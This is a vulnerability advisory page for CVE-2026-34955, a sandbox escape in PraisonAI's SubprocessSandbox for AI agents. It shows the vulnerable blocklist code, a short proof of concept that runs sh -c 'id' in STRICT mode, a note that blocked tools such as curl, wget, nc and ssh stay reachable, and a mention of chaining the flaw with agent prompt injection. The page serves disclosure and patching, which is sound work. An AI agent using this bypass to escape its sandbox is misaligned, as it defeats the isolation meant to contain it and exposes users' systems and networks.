GHSA-R4F2-3M54-PP7Q

Vulnerability from github – Published: 2026-04-01 23:26 – Updated: 2026-04-06 22:54
VLAI
Summary
PraisonAI Has Sandbox Escape via shell=True and Bypassable Blocklist in SubprocessSandbox
Details

Summary

SubprocessSandbox in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls subprocess.run() with shell=True and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include sh or bash as standalone executables, allowing trivial sandbox escape in STRICT mode via sh -c '<command>'.

Details

sandbox_executor.py:179 (source) -> sandbox_executor.py:326 (sink)

# source -- string-pattern blocklist, sh and bash not in blocked_commands
cmd_name = Path(parts[0]).name
if cmd_name in self.policy.blocked_commands:  # sh, bash not blocked
    raise SecurityError(...)
dangerous_patterns = [
    ("| sh",   ...),   # requires space -- "id|bash" evades this
    ("| bash", ...),   # requires space
]

# sink -- shell=True spawns /bin/sh regardless of sandbox mode
result = subprocess.run(
    command,
    shell=True,
    ...
)

PoC

# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.cli.features.sandbox_executor import SubprocessSandbox, SandboxPolicy, SandboxMode

policy = SandboxPolicy.for_mode(SandboxMode.STRICT)
sandbox = SubprocessSandbox(policy=policy)

result = sandbox.execute("sh -c 'id'")
print(result.stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Impact

Users who deploy with --sandbox strict have no meaningful OS-level isolation. Any command blocked by the policy (curl, wget, nc, ssh) is trivially reachable via sh -c '<blocked_command>'. Combined with agent prompt injection, an attacker can escape the sandbox and reach the network, filesystem, and cloud metadata services.

Suggested Fix

import shlex

result = subprocess.run(
    shlex.split(command),
    shell=False,
    cwd=cwd,
    env=env,
    capture_output=capture_output,
    text=True,
    timeout=timeout
)
Severity
8.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.5.96"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.97"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34955"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T23:26:01Z",
    "nvd_published_at": "2026-04-04T00:16:19Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`SubprocessSandbox` in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls `subprocess.run()` with `shell=True` and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include `sh` or `bash` as standalone executables, allowing trivial sandbox escape in STRICT mode via `sh -c \u0027\u003ccommand\u003e\u0027`.\n\n### Details\n\n`sandbox_executor.py:179` (source) -\u003e `sandbox_executor.py:326` (sink)\n```python\n# source -- string-pattern blocklist, sh and bash not in blocked_commands\ncmd_name = Path(parts[0]).name\nif cmd_name in self.policy.blocked_commands:  # sh, bash not blocked\n    raise SecurityError(...)\ndangerous_patterns = [\n    (\"| sh\",   ...),   # requires space -- \"id|bash\" evades this\n    (\"| bash\", ...),   # requires space\n]\n\n# sink -- shell=True spawns /bin/sh regardless of sandbox mode\nresult = subprocess.run(\n    command,\n    shell=True,\n    ...\n)\n```\n\n### PoC\n```python\n# tested on: praisonai==4.5.87 (source install)\n# install: pip install -e src/praisonai\nimport sys\nsys.path.insert(0, \u0027src/praisonai\u0027)\nfrom praisonai.cli.features.sandbox_executor import SubprocessSandbox, SandboxPolicy, SandboxMode\n\npolicy = SandboxPolicy.for_mode(SandboxMode.STRICT)\nsandbox = SubprocessSandbox(policy=policy)\n\nresult = sandbox.execute(\"sh -c \u0027id\u0027\")\nprint(result.stdout)\n# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...\n```\n\n### Impact\n\nUsers who deploy with `--sandbox strict` have no meaningful OS-level isolation. Any command blocked by the policy (curl, wget, nc, ssh) is trivially reachable via `sh -c \u0027\u003cblocked_command\u003e\u0027`. Combined with agent prompt injection, an attacker can escape the sandbox and reach the network, filesystem, and cloud metadata services.\n\n### Suggested Fix\n```python\nimport shlex\n\nresult = subprocess.run(\n    shlex.split(command),\n    shell=False,\n    cwd=cwd,\n    env=env,\n    capture_output=capture_output,\n    text=True,\n    timeout=timeout\n)\n```",
  "id": "GHSA-r4f2-3m54-pp7q",
  "modified": "2026-04-06T22:54:33Z",
  "published": "2026-04-01T23:26:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-r4f2-3m54-pp7q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34955"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI Has Sandbox Escape via shell=True and Bypassable Blocklist in SubprocessSandbox"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.


Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.